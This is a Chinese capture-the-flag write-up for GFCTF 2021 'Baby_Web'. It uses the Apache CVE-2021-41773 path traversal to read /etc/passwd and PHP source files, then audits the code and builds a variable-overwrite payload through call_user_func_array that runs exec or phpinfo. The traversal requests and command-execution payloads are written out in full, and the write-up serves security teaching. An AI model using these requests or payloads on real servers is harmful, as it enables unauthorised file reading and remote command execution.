[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)

news2024/11/24 15:42:18

[GFCTF 2021]Baby_Web(CVE-2021-41773)

题目标签:WEB、PHP、CVE-2021-41773、变量覆盖

做后考点总结:CVE+PHP中量代码审计

CVE-2021-41773是一个Apache Httpd Server 路径穿越漏洞

详情见:CVE-2021-41773_Jay 17的博客-CSDN博客

在源码中发现了hint:

image-20230713173757495

直接按CVE-2021-41773的思路用现成payload打一下试试。

先是初始界面刷新抓个包,然后改包。

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

image-20230713201345339

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

image-20230713201913745

当前目录是/var/www/html/,那么上层目录就是/var/www/。源码提示说:源码藏在上层目录xxx.php.txt里面,猜测xxx应该包括了index。

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

读到了源码

image-20230713202148758

index.php:

<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>

include "Class.php";疯狂暗示我们同目录下还有一个Class.php文件。

一开始我是这样读的:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php HTTP/1.1

但是返回404了。

image-20230713202507273

正确的应该是这样读的:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1

提示中上层目录xxx.php.txt中的xxx并不是只指向一个index.php.txt,而是指向了两个txt文件,xxx是一个泛指。

image-20230713202757839

Class.php:

<?php
defined('main') or die("no!!");
Class Temp{
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) { 
                $system[$var] = $val;
            } else {
                $param[$var] = $val; 
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

代码审计:

首先分析index.php

1、实例化了一个Temp类对象,并且向构造方法传参,参数是所有POST提交的变量。

2、调用了Temp类中display方法并且传参,参数是GET方式提交的filename变量。

然后分析Class.php

1、首先是Temp类里的构造方法

private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
        $this->date = array_merge($this->date,$data);
    }

其中array_merge()函数的特性如下:(需要注意一下第二点,会造成之后的变量覆盖)

1、合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名
2、则合并后为参数2数组中对应键的值,发生了覆盖。//注意,会造成变量覆盖
3、然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
4、如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。

在php手册中对array_merge()函数的样例: (帮助大家理解)

<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?> 

以上PHP代码执行后会输出

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

2、然后分析在index.php中调用的方法display()

 public function display($template,$space=''){
        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
}

extract():从数组中将变量导入到当前的符号表

include():包含一个文件

3、接着分析display方法中调用的getTempName()方法

    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }

如果传入getTempName()方法的形参$dir值是admin,那就对类中template属性( t h i s − > t e m p l a t e )进行拼接,拼接 g e t T e m p N a m e 方法中属性 this->template)进行拼接,拼接getTempName方法中属性 this>template)进行拼接,拼接getTempName方法中属性template,并且进行替换过滤。

is_file()用于检查是否是文件。

到这里,代码就没有再指向下一步了,还剩一个listdata()方法没有审计。

访问一下这个方法中的两个路由试试。

/template/index.html:(无效路由)
image-20230713212759835

/template/admin/:(有效路由)

image-20230713212821443

不难发现,/template/admin/路由调用了listdata()方法。

那么我们肯定需要使display()方法中的include()函数包含/template/admin/路由了!

4、最后,对listdata()方法进行审计:

public function listdata($_params){
        $system = ['db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '',];
        $param = $where = [];
        //去除字符串首尾处的空白字符
        $_params = trim($_params);
		//使用一个字符串分割另一个字符串,代码中以空格为分割,将$_params属性分割成一个数组$params[],比如说原来$_params="zhi shi xue bao",经过explode函数处理后变为$params=["zhi","shi","xue","bao"]
        $params = explode(' ', $_params);
   		//检查数组中是否存在某个值
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
    	//遍历给定的 params 数组
        foreach ($params as $t) {
            //substr:返回字符串的子串,第一个参数是“母串”,第二个参数是起始位置,第三个参数是长度。如果没有第三个参数就意味着从起始位置截取到最后。
            //strpos:查找字符串首次出现的位置
            //$var为$t中等号前的所有。
            //$val为$t中等号后的所有。
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            //即$t不是“xxx=xxx”形式,而是“xxx”形式
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) {
                $system[$var] = $val;
            } else {
                $param[$var] = $val;
            }
        }
    
        // action
        switch ($system['action']) {
            case 'function'://111
                //$param['name']存在
                if (!isset($param['name'])) {
                    return  'hacker!!';
                //function_exists():如果给定的函数已经被定义就返回TRUE
                //即$param['name']作为函数已经被定义
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }
                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            //intval:获取变量的整数值
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {
                        //call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        //call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list'://222
                //将$this->date进行json格式的加密,并且输出
                return json_encode($this->date);
        }
        return null;
    }

trim():去除字符串首尾处的空白字符

explode():使用一个字符串分割另一个字符串,代码中以空格为分割,将 p a r a m s 属性分割成一个数组 _params属性分割成一个数组 params属性分割成一个数组params[],比如说原来$ _ params=“zhi shi xue bao”,经过explode函数处理后变为$params=[“zhi”,“shi”,“xue”,“bao”]

in_array():检查数组中是否存在某个值

foreach():遍历给定的数组

substr():返回字符串的子串,第一个参数是“母串”,第二个参数是起始位置,第三个参数是长度。如果没有第三个参数就意味着从起始位置截取到最后。

strpos():查找字符串首次出现的位置

function_exists():如果给定的函数已经被定义就返回 TRUE

intval():获取变量的整数值

call_user_func_array():call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func():第一个参数是被调用的回调函数,其余参数是回调函数的参数。

json_encode():进行json格式的加密

不难发现,在下面一段代码中,存在RCE的可能

                    if ($p) {
                        //call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        //call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
                        $rt = call_user_func($param['name']);
                    }

方法一:

利用call_user_func_array函数进行RCE

最后的目标应该是 r t = c a l l u s e r f u n c a r r a y ( " s y s t e m " , 命令 ) ; 即 rt = call_user_func_array("system", 命令); 即 rt=calluserfuncarray("system",命令);param[‘name’]=system且$p=命令

1、先使$param['name']=system,一步一步倒推,在switch语句内,我们需要使 p a r a m [ ′ n a m e ′ ] 存在并且是定义函数(已经满足,无需考虑)同时 param['name']存在并且是定义函数(已经满足,无需考虑)同时 param[name]存在并且是定义函数(已经满足,无需考虑)同时system[‘action’]=function

2、继续倒推,满足$param['name']=system的话,在foreach语句块中,$params数组需要有以下键值对

‘name’ =‘system’

‘action’ = ‘function’

考虑到满足 p = 命令, p=命令, p=命令,params数组还需要有以下键值对

‘force’ =‘false’ //满足$force = p a r a m [ ′ f o r c e ′ ] ; i f ( ! param['force']; if (! param[force];if(!force)

‘param0xxxxx’ = ‘命令’

解释一下这个'param0xxxxx' => '命令'
foreach ($param as $var => $t)语句使得$var='param0xxxxx' 并且$t='命令'$n$var第五位开始截取的字符串,在我这个payload中就是0xxxxx,经过intval函数之后$n=0,最后$p[0] = $t;就是$p[0] ='命令';。当然,这里下标也可以不是0,只要是个数字就行。

3、继续推,看到下面这一段代码。如果$params数组(有序数组)第一个元素是'list' 或者'function',就把$params数组第一个元素的内容,前面加上一个字符串action=

if (in_array($params[0], ['list','function'])) {
    $params[0] = 'action='.$params[0];
}

所以这里又可以分为两种情况。

一、利用上一段代码

$params=[“function”,“name=system”,“force=false”,“param0xxxxx=命令”]

这里"function"元素必须放在第一位。

二、不利用上一段代码。

$params=[“action=function”,“name=system”,“force=false”,“param0xxxxx=命令”]

这里"action=function"元素位置可以任意。

4、继续往上推,快到头了。

$_params参数的值是"function name=system force=false param0xxxxx=命令
或者action=function name=system force=false param0xxxxx=命令

剧透一下,有一个payload在结合了实际的listdata()方法的调用后是无效的。但是从代码审计的角度看,审计、推理到目前都是正确的。

5、继续推,跳出listdata方法。

如果我们要调用这个listdata方法就需要进入template/admin/这个路由,即在display()方法中包含这个路由,即display()方法中执行include($this->template);时,$this->template属性就是template/admin/

image-20230714003348692

6、继续上推,那么我们就需要在includ的上一句程序$this->getTempName($template,$space);中改变$this->template属性(这个属性初值是'')。

进入getTempName()方法。我们的目的是执行$this->template = str_replace('..','','./template/admin/'.$template);语句,并且在执行时使$dir = 'admin'并且$template=index.html

因为template/admin/路由和template/admin/index.html文件都能调用listdata方法,但是if(!is_file($this->template))要求必须是文件!

image-20230714003635975

所以getTempName($template,$dir)方法的形参$template=index.html,形参$dir=admin

7、继续上推,getTempName($template,$dir)方法的形参确定了,而getTempName($template,$dir)方法的形参又来源于display()方法的方法内变量(也可以叫属性)$template$space。而这两个属性在方法内是不存在的,要使这两个属性存在且有我们需要的值,只能执行extract($this->date);语句,从数组中将变量导入到当前的符号表。

image-20230714005741025

那么类中变量/属性$this->date就应该是['template'=>'index.html','space'=>'admin'],没结束,别急,我更加急。

8、回顾一下listdata方法的传参:

在代码中定义的说传入一个参数,但是这个参数肯定是字符串啦。

image-20230714010338581

image-20230714011014267

template/admin/index.html文件中调用这个方法时,方法的形参传参是这样的:

image-20230714010925191

确实也是一个字符串,但是细心的师傅肯定能发现,这个字符串可控的只有最后一部分$mod。就是说不管我们怎么改变listdata方法的传参,listdata方法的参数都会带有一个前缀action=list module=

这导致了两个问题。

一、

在推理的第【4】步有剧透过:有一个payload在结合了实际的listdata()方法的调用后是无效的。

因为传参一定会带有一个前缀,所以我们无法控制$_params字符串分割成的数组$params的第一个元素是"function"。第一个元素只会是action=list

所以第【4】步$_params参数的值只能是action=function name=system force=false param0xxxxx=命令

那么listdata("action=list module=$mod")调用方法时,$mod=xxxx action=function name=system force=false param0xxxxx=命令。最终结果就如预期那样listdata("action=list module=xxxx action=function name=system force=false param0xxxxx=命令)成功就行RCE。

二、

listdata()方法是在display()方法中被包含并且调用的。

template/admin/index.html文件中调用listdata()方法时说这样调用的:listdata("action=list module=$mod")

就是说display()方法还需要有个属性$mod=xxxx action=function name=system force=false param0xxxxx=命令

那么第【7】步,类中变量/属性$this->date就应该是['template'=>'index.html','space'=>'admin','mod'=>'xxxx action=function name=system force=false param0xxxxx=命令']

9、(最后)感谢你坚持看到这里,写的有点冗余属实抱歉,我初心只是想写的详细一点,没想到到这里已经这么多了。师傅请勿怪罪qaq~

接下来就是最后一步,构建最终POST/GET传参的payload了。

前面提到:

$this->date=['template'=>'index.html','space'=>'admin','mod'=>'xxxx action=function name=system force=false param0xxxxx=命令']

$template=index.html (第【6】步)

$this->date是在构造方法__construct($data)中由于array_merge()第二个特性变量覆盖而被赋值的。所以构造方法__construct($data)$data属性就可以等于$this->date等于['template'=>'index.html','space'=>'admin','mod'=>'xxxx action=function name=system force=false param0xxxxx=命令']即我们在index.php中(题目初始界面)POST一个:

template=index.html&space=admin&mod=xxx action=function name=system param=命令

此时在初始界面GET提交的filename变量(display()方法中的$template变量)就随意了,因为最后都会被POST提交的变量覆盖。

?xxx=xxx                     //GET

这种情况的payload:

?xxx=xxx                     //GET
template=index.html&space=admin&mod=xxx action=function name=system param=命令

当然,$template变量也可以通过在初始界面GET提交的filename变量作为display()方法调用时的参数,此时就得避免被POST提交的变量 变量覆盖

这种情况的payload:

?filename=index.html              //GET
space=admin&mod=xxx action=function name=system param=命令

最后还有一个问题,因为函数禁用、命令执行无回显或只回显一行等原因,我们的payload还需进行绕过处理(本篇主要讲代码审计,RCE绕过过滤的过程就略啦~)

system换成exec

命令需要带出到文件,如果命令中有空格则需要用${IFS}替换空格。

最后payload:

?xxx=xxx                     //GET
template=index.html&space=admin&mod=xxx action=function name=exec param=tac${IFS}/f11111111aaaagggg>/var/www/html/1.txt

或者

?filename=index.html              //GET
space=admin&mod=xxx action=function name=exec param=tac${IFS}/f11111111aaaagggg>/var/www/html/1.txt

image-20230714094454370

方法二:

利用call_user_func函数进行RCE

flag在phpinfo中也会显示。所以我们只需要$param['name']='phpinfo'就行啦。

过程及其类似且少于方法一,就不重复推了。

最后payload就是:

?xxx=xxx                     //GET
template=index.html&space=admin&mod=xxx action=function name=phpinfo

或者

?filename=index.html              //GET
space=admin&mod=xxx action=function name=phpinfo

image-20230714094736086

希望这篇博客能对你有所帮助!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/752456.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker安全开放远程访问连接权限

1、Docker完全开放远程访问 Docker服务完全开放对外访问权限操作如下&#xff1a; # 开启端口命令 &#xff08;--permanent永久生效&#xff0c;没有此参数重启后失效&#xff09; firewall-cmd --zonepublic --add-port2375/tcp --permanent # 重新载入 firewall-cmd --re…

模型与计算平台

说明&#xff1a;部分内容摘自参考文献&#xff0c;如有侵权&#xff0c;联系删除 模型概念 计算量 FLOPs FLOPs&#xff1a;floating point operations 指的是浮点运算次数&#xff0c;理解为计算量&#xff0c;可以用来衡量算法/模型时间的复杂度, 单位是 FLOPs。FLOPS&…

【Arduino小车实践】陀螺仪的使用

一、MPU6050简介 MPU6050是一款陀螺仪模块&#xff0c;可以测量X、Y、Z三轴的角速度和加速度&#xff0c;还带有温度传感器和数字运动处理器(DMP)。 二、学习步骤 1. I2C协议 MPU6050是通过I2C协议进行驱动的&#xff0c;配置寄存器和获取数据都需要通过I2C协议去实现开发板与…

OpenMMLab MMTracking目标跟踪环境搭建(一)

1、环境搭建 创建conda虚拟环境并激活。 conda create -n mmtrack python3.8 -y conda activate mmtrack 按照官方说明安装 PyTorch 和 torchvision 可以通过指定版本号切换到其他版本。 #如果网不好&#xff0c;可以这样安装 pip3 install torch1.8.2cu102 torchvision0.9…

基于SpringBoot+vue的校园闲置物品租售系统设计与实现

博主介绍&#xff1a; 大家好&#xff0c;我是一名在Java圈混迹十余年的程序员&#xff0c;精通Java编程语言&#xff0c;同时也熟练掌握微信小程序、Python和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…

postman:模拟发送一个需要 cookie 认证的请求

目录 前言&#xff1a; 1、chrome 已安装插件 intercept。 2、chrome 浏览器要设置打开&#xff0c;在运行期间浏览器要一直打开。 3、本人是用 fiddler 对 app 的请求进行抓包&#xff0c;也可以使用其他工具。查看 headers 里的 cookie&#xff0c;并复制。 4、将复制的…

Ubuntu安装zsh主题

安装zsh sudo apt install zsh安装git&#xff08;如果有跳过&#xff09; sudo apt install git(1条消息) 关于Git这一篇就够了_17岁boy想当攻城狮的博客-CSDN博客 安装oh my zsh git clone https://github.com/robbyrussell/oh-my-zsh切换目录到oh-my-zsh文件夹下的tools…

0基础学习VR全景平台篇 第62篇:通用功能-通用设置

公开&#xff1a;公开表示该作品对所有人可见&#xff0c;并且会在蛙色VR平台和个人主页显示。点击公开会切换成私人模式&#xff0c;私人则表示只有作者本人可以访问&#xff0c;他人即使获取了链接也无法打开。 预览&#xff1a;点击“预览”可以查看VR视频的效果&#xff0…

【LeetCode热题100】打卡第37天:岛屿数量反转链表

文章目录 【LeetCode热题100】打卡第37天&#xff1a;岛屿数量&反转链表⛅前言 岛屿数量&#x1f512;题目&#x1f511;题解 反转链表&#x1f512;题目&#x1f511;题解 【LeetCode热题100】打卡第37天&#xff1a;岛屿数量&反转链表 ⛅前言 大家好&#xff0c;我是…

kettle开发-Day41-数据清洗之字符串替换

前言&#xff1a; 昨天讲到了通过case/switch组件来进行分流&#xff0c;来区分日期里面三大类的数据&#xff0c;包括正常显示的2023/7/12 2:59:58的数据&#xff0c;一种是包含中文上午的数据&#xff0c;一种是包含中文下午的数据。但是我们发现这样直接存进去的数据还是包含…

时间有界 梦想无疆(NEBASE第十三课)

时间有界 梦想无疆(NEBASE第十三课) 1、计算机网络功能 数据通信、资源共享、增加数据可靠性、提高系统处理能力&#xff08;主要功能数所通信&#xff09; 2.标准&#xff1a;一致同意的规则可以理解为标谁 ISO&#xff08;国际标准化组织&#xff09;在网络通信中创建了OS…

前端学习——JS进阶 (Day1)

作用域 局部作用域 全局作用域 作用域链 JS垃圾回收机制 闭包 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name&qu…

walkRE2019--属性批量赋值

1、选中待赋值的图形&#xff0c;在加工菜单栏中选择属性赋值&#xff0c;如下&#xff1a; 选择图形所在图层&#xff0c;并使图层处于可编辑状态。选择要赋值的属性字段&#xff08;即要更新的列&#xff09;&#xff0c;选择要赋值的表达式&#xff08;即赋值为&#xff09;…

产品经理必备技能:高效产品规划方法论

作为产品经理&#xff0c;进行产品规划是非常重要的一项工作。产品规划是一个方法化的过程&#xff0c;需要考虑多个因素&#xff0c;以确保产品能够满足用户需求并实现商业目标。以下是几点建议&#xff0c;帮助产品经理进行产品规划。 第一&#xff0c;了解用户需求和市场情况…

【Unity编辑器扩展】编辑器代码一键添加按钮响应事件

此功能能是基于UI变量代码生成工具的改良扩展&#xff1a;【Unity编辑器扩展】UI变量代码自动生成工具(编辑器扩展干货/大幅提高效率)_ui代码自动生成_TopGames的博客-CSDN博客 工具效果预览&#xff1a; UGUI的Button按钮在编辑面板添加响应事件非常繁琐&#xff0c;需要拖个…

视频孪生在数字经济产业发展中所发挥的作用

2023年中共中央、国务院印发的《数字中国建设整体布局规划》中明确提出&#xff1a;培育壮大数字经济核心产业&#xff0c;研究制定推动数字产业高质量发展的措施&#xff0c;打造具有国际竞争力的数字产业集群。 推动数字技术和实体经济深度融合&#xff0c;在农业、工业、金…

七大排序算法——堆排序,通俗易懂的思路讲解与图解(完整Java代码)

文章目录 一、排序的概念排序的概念排序的稳定性七大排序算法 二、堆排序核心思想代码实现 三、性能分析四、七大排序算法 一、排序的概念 排序的概念 排序&#xff1a;所谓排序&#xff0c;就是使一串记录&#xff0c;按照其中的某个或某些关键字的大小&#xff0c;递增或递…

emacs下vercial-border审美观记录

昨天一晚上时间都花在了emacs的vercial-border上。 一开始还不知道这个名词&#xff0c;以为是treemacs展示的效果&#xff0c;毕竟我是在打开treemacs的时候&#xff0c;才发现这个分割线太丑了,我的审美观在蠢蠢欲动了。 谁说程序员没有审美观的&#xff1f;只是前面有别的东…

一文带你快速设计精美可视化大屏

一文带你快速设计精美可视化大屏 文章目录 一文带你快速设计精美可视化大屏&#x1f468;‍&#x1f3eb;前言&#xff1a;什么是可视化大屏&#x1f468;‍&#x1f52c;内容1&#xff1a;可视化大屏设计原则和设计考虑&#x1f468;‍⚖️内容2&#xff1a;可视化大屏设计流程…

第四章 数学知识(三)——高斯消元,组合

文章目录 高斯消元组合数1 < b < a < 20001 < b < a < 1000001 < b < a < 1 0 18 10^{18} 1018高精度组合数卡特兰数 高斯消元练习题884. 高斯消元解异或线性方程组 组合数练习题885. 求组合数 I886. 求组合数 II887. 求组合数 III888. 求组合数 I…